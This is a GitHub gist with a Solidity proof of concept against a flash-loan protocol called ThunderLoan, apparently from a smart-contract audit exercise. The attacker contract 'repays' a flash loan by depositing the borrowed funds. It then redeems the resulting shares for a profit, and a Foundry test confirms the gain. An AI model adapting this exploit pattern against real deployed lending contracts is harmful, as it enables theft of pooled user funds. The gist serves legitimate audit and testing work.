Skip to content

Instantly share code, notes, and snippets.

@Falilah
Created November 5, 2023 16:58
Show Gist options
  • Save Falilah/470de5a2c297f8f775b7b24a51a28cbb to your computer and use it in GitHub Desktop.
Save Falilah/470de5a2c297f8f775b7b24a51a28cbb to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {IFlashLoanReceiver, IThunderLoan} from "../../src/interfaces/IFlashLoanReceiver.sol";
contract MockFlashLoanReceiverAttacker {
error MockFlashLoanReceiver__onlyOwner();
error MockFlashLoanReceiver__onlyThunderLoan();
using SafeERC20 for IERC20;
address s_owner;
address s_thunderLoan;
uint256 s_balanceDuringFlashLoan;
uint256 s_balanceAfterFlashLoan;
uint public balanceAfterRedeem;
constructor(address thunderLoan) {
s_owner = msg.sender;
s_thunderLoan = thunderLoan;
s_balanceDuringFlashLoan = 0;
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
) external returns (bool) {
s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
if (msg.sender != s_thunderLoan) {
revert MockFlashLoanReceiver__onlyThunderLoan();
}
IERC20(token).approve(s_thunderLoan, amount + fee);
// attacker deposit back into ThunderLoann as a repay
IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
return true;
}
function _getRedeem(address token) internal {
//attackers balance before redeem
uint balanceBeforeReedeem = IERC20(token).balanceOf(address(this));
// attacker redeem the deposited funds during flashloan
IThunderLoan(s_thunderLoan).redeem(IERC20(token), type(uint256).max);
// attackers balance after redeem
balanceAfterRedeem = IERC20(token).balanceOf(address(this));
require(
s_balanceAfterFlashLoan < balanceAfterRedeem,
"flashloan redeem not successful"
);
}
//// call flashloan from the attacker contract
function flashloanFromThunderBoat(
address token,
uint amountToBorrow
) external {
IThunderLoan(s_thunderLoan).flashloan(
address(this),
IERC20(token),
amountToBorrow,
""
);
_getRedeem(token);
}
function getbalanceDuring() external view returns (uint256) {
return s_balanceDuringFlashLoan;
}
function getBalanceAfter() external view returns (uint256) {
return s_balanceAfterFlashLoan;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IThunderLoan {
function repay(address token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function flashloan(
address receiverAddress,
IERC20 token,
uint256 amount,
bytes calldata params
) external;
}

To run this POC

  1. Update the IThunderLoan.sol with the file here
  2. Add the flashloanAttacker.sol file in the mock folder
  3. import the flashloanAttacker.sol in the ThunderLoanTest.t.sol and the testAttackFlashLoan function above to the the file
  4. run the poc with the comman forge test --mt testAttackFlashLoan -vvvvv
import {MockFlashLoanReceiverAttacker} from "../mocks/flashloanAttacker.sol";
function testAttackFlashLoan() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
uint256 calculatedFee = thunderLoan.getCalculatedFee(
tokenA,
amountToBorrow
);
vm.startPrank(user);
tokenA.mint(address(Attacker), AMOUNT);
// thunderLoan.flashloan(address(Attacker), tokenA, amountToBorrow, "");
Attacker.flashloanFromThunderBoat(address(tokenA), amountToBorrow);
vm.stopPrank();
assertEq(Attacker.getbalanceDuring(), amountToBorrow + AMOUNT);
uint balanceAfter = Attacker.getBalanceAfter();
assertEq(balanceAfter, AMOUNT - calculatedFee);
//asset balance after redeem is higher
assertGe(Attacker.balanceAfterRedeem(), balanceAfter);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment